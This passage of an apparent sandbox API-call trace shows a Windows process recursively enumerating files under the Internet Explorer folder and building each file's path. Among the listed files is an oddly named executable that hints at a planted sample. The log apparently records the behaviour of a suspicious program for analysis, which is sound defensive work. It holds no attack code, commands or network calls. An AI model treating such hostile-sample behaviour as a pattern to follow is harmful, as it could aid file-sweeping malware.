(lpString="iexplore.exe.mui") returned 16 [0041.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 63 [0041.555] lstrcpyW (in: lpString1=0x5ffc58, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0041.555] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.555] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0041.555] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.555] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0041.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned 62 [0041.555] lstrcpyW (in: lpString1=0x5ffce0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0041.555] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.555] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0041.555] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.555] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0041.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned 68 [0041.555] lstrcpyW (in: lpString1=0x5ffd68, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0041.555] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.555] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0041.555] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.555] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0041.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned 69 [0041.555] lstrcpyW (in: lpString1=0x5ffe00, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0041.555] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.555] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0041.555] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.555] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0041.555] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned 67 [0041.555] lstrcpyW (in: lpString1=0x5ffe98, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0041.555] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.555] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.555] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.555] lstrcmpW (lpString1="ExtExport.exe", lpString2=".") returned 1 [0041.556] lstrcmpW (lpString1="ExtExport.exe", lpString2="..") returned 1 [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.556] lstrlenW (lpString="ExtExport.exe") returned 13 [0041.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned 54 [0041.556] lstrcpyW (in: lpString1=0x920420, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0041.556] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.556] lstrcmpW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0041.556] lstrcmpW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.556] lstrlenW (lpString="hmmapi.dll") returned 10 [0041.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned 51 [0041.556] lstrcpyW (in: lpString1=0x5fff28, lpString2="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0041.556] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.556] lstrcmpW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0041.556] lstrcmpW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.556] lstrlenW (lpString="ie8props.propdesc") returned 17 [0041.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned 58 [0041.556] lstrcpyW (in: lpString1=0x921048, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0041.556] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.556] lstrcmpW (lpString1="iecompat.dll", lpString2=".") returned 1 [0041.556] lstrcmpW (lpString1="iecompat.dll", lpString2="..") returned 1 [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.556] lstrlenW (lpString="iecompat.dll") returned 12 [0041.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned 53 [0041.556] lstrcpyW (in: lpString1=0x920498, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0041.556] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.556] lstrcmpW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0041.556] lstrcmpW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.556] lstrlenW (lpString="iedvtool.dll") returned 12 [0041.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned 53 [0041.556] lstrcpyW (in: lpString1=0x920510, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0041.556] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.556] lstrcmpW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0041.556] lstrcmpW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0041.556] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.556] lstrlenW (lpString="ieinstal.exe") returned 12 [0041.556] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned 53 [0041.557] lstrcpyW (in: lpString1=0x920588, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0041.557] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.557] lstrcmpW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0041.557] lstrcmpW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.557] lstrlenW (lpString="ielowutil.exe") returned 13 [0041.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned 54 [0041.557] lstrcpyW (in: lpString1=0x920600, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0041.557] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.557] lstrcmpW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0041.557] lstrcmpW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.557] lstrlenW (lpString="ieproxy.dll") returned 11 [0041.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned 52 [0041.557] lstrcpyW (in: lpString1=0x920678, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0041.557] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.557] lstrcmpW (lpString1="IEShims.dll", lpString2=".") returned 1 [0041.557] lstrcmpW (lpString1="IEShims.dll", lpString2="..") returned 1 [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.557] lstrlenW (lpString="IEShims.dll") returned 11 [0041.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned 52 [0041.557] lstrcpyW (in: lpString1=0x9206f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0041.557] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.557] lstrcmpW (lpString1="iexplore.exe", lpString2=".") returned 1 [0041.557] lstrcmpW (lpString1="iexplore.exe", lpString2="..") returned 1 [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.557] lstrlenW (lpString="iexplore.exe") returned 12 [0041.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 53 [0041.557] lstrcpyW (in: lpString1=0x920768, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0041.557] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.557] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2=".") returned 1 [0041.557] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="..") returned 1 [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.557] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0041.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0041.557] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned 93 [0041.557] lstrcpyW (in: lpString1=0x9210c8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0041.557] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.558] lstrcmpW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0041.558] lstrcmpW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.558] lstrlenW (lpString="jsdbgui.dll") returned 11 [0041.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned 52 [0041.558] lstrcpyW (in: lpString1=0x9207e0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0041.558] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.558] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0041.558] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2="..") returned 1 [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.558] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0041.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned 58 [0041.558] lstrcpyW (in: lpString1=0x921190, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0041.558] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.558] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0041.558] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.558] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0041.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned 59 [0041.558] lstrcpyW (in: lpString1=0x921210, lpString2="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0041.558] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.558] lstrcmpW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0041.558] lstrcmpW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.558] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0041.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned 57 [0041.558] lstrcpyW (in: lpString1=0x921290, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0041.558] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.558] lstrcmpW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0041.558] lstrcmpW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.558] lstrlenW (lpString="msdbg2.dll") returned 10 [0041.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned 51 [0041.558] lstrcpyW (in: lpString1=0x921310, lpString2="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0041.558] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.558] lstrcmpW (lpString1="pdm.dll", lpString2=".") returned 1 [0041.558] lstrcmpW (lpString1="pdm.dll", lpString2="..") returned 1 [0041.558] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.558] lstrlenW (lpString="pdm.dll") returned 7 [0041.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0041.559] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned 48 [0041.559] lstrcpyW (in: lpString1=0x921380, lpString2="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0041.559] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.559] lstrcmpW (lpString1="SIGNUP", lpString2=".") returned 1 [0041.559] lstrcmpW (lpString1="SIGNUP", lpString2="..") returned 1 [0041.559] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.559] lstrlenW (lpString="SIGNUP") returned 6 [0041.559] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="SIGNUP" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0041.559] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\" [0041.559] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0041.559] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*" [0041.559] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.559] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.559] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.559] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.559] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.559] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.559] lstrcmpW (lpString1="install.ins", lpString2=".") returned 1 [0041.559] lstrcmpW (lpString1="install.ins", lpString2="..") returned 1 [0041.559] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0041.559] lstrlenW (lpString="install.ins") returned 11 [0041.559] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0041.559] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned 59 [0041.559] lstrcpyW (in: lpString1=0x9213f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0041.559] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.559] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.559] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.559] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0041.559] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0041.559] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.559] lstrlenW (lpString="sqmapi.dll") returned 10 [0041.559] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0041.559] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned 51 [0041.559] lstrcpyW (in: lpString1=0x921470, lpString2="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0041.559] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.559] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.559] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: 